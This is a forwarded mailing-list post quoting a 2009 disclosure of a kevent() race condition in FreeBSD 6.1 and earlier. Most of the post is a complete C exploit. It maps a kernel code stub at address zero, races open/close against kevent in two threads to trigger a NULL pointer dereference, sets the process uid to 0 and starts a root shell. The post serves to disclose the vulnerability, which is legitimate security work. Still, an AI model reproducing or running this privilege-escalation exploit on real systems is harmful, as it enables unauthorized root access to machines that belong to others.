FreeBSD <= 6.1 kqueue() NULL pointer dereference

[lxn smth]

FYI.

2009/8/22 Przemyslaw Frasunek <venglin at freebsd.lublin.pl>:
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> FreeBSD <= 6.1 suffers from classical check/use race condition on SMP
> systems in kevent() syscall, leading to kernel mode NULL pointer
> dereference. It can be triggered by spawning two threads:
> 1st thread looping on open() and close() syscalls, and the 2nd thread
> looping on kevent(), trying to add possibly invalid filedescriptor.
>
> The bug was fixed in 6.1-STABLE, just before release of 6.2-RELEASE, but
> was not recognized as security vulnerability.
>
> The following code exploits this vulnerability to run root shell.
>
> /* 22.08.2009, babcia padlina
> ~ * FreeBSD kevent() race condition exploit
> ~ *
> ~ * works only on multiprocessor systems
> ~ * gcc -o padlina padlina.c -lpthread
> ~ *
> ~ * with thanks to Pawel Pisarczyk for in-depth ia-32 architecture
> discussion
> ~ */
>
> #define _KERNEL
>
> #include <sys/types.h>
> #include <stdio.h>
> #include <unistd.h>
> #include <sys/event.h>
> #include <sys/timespec.h>
> #include <pthread.h>
> #include <fcntl.h>
> #include <string.h>
> #include <stdlib.h>
> #include <sys/mman.h>
>
> #include <sys/param.h>
> #include <sys/linker.h>
> #include <sys/linker.h>
> #include <sys/proc.h>
>
> int fd;
> int kq;
> struct kevent kev, ke[10];
> struct timespec timeout;
> int gotroot = 0;
>
> static void kernel_code(void) {
> ~        struct thread *thread;
> ~        gotroot = 1;
> ~        asm(
> ~                "pushl %%eax;"
> ~                "movl %%fs:0, %0"
> ~                : "=r"(thread)
> ~        );
> ~        thread->td_proc->p_ucred->cr_uid = 0;
> ~        asm("popl %eax");
> ~        return;
> }
>
> void do_thread(void) {
> ~        sleep(1);
>
> ~        while (!gotroot) {
> ~                memset(&kev, 0, sizeof(kev));
> ~                EV_SET(&kev, fd, EVFILT_VNODE, EV_ADD, 0, 0, NULL);
>
> ~                if (kevent(kq, &kev, 1, &ke, sizeof(ke), &timeout) < 0) {
> ~                        perror("kevent");
> ~                }
> ~        }
>
> }
>
> void do_thread2(void) {
> ~        while(!gotroot) {
> ~                if ((fd = open("/tmp/.padlina", O_RDWR | O_CREAT, 0600)) <
> 0)
> ~                        perror("open");
>
> ~                close(fd);
> ~        }
> }
>
> int main(void) {
> ~        pthread_t pth, pth2;
> ~        long *ap;
> ~        unsigned char *p, *sp;
>
> ~        if (mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON |
> MAP_FIXED, -1, 0) < 0) {
> ~                perror("mmap");
> ~                return -1;
> ~        }
>
> ~        memset(0x0, 0xc3, 0x1000);
>
> ~        for (p = 0, sp = &kernel_code; *sp != 0xc3;)
> ~                        *p++ = *sp++;
>
> ~        if ((kq = kqueue()) < 0) {
> ~                perror("kqueue");
> ~                return -1;
> ~        }
>
> ~        pthread_create(&pth, NULL, do_thread, NULL);
> ~        pthread_create(&pth2, NULL, do_thread2, NULL);
>
> ~        timeout.tv_sec = 0;
> ~        timeout.tv_nsec = 1;
>
> ~        while (!gotroot)
> ~                usleep(100);
>
> ~        setuid(0);
> ~        execl("/bin/sh", "sh", 0);
>
> ~        printf("exploit failed\n");
> ~        return 0;
> }
>
>
> - --
> * Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NICHDL: PMF9-RIPE *
> * JID: venglin at jabber.atman.pl ** PGP ID: 2578FCAD ** HAM-RADIO: SQ8JIV *
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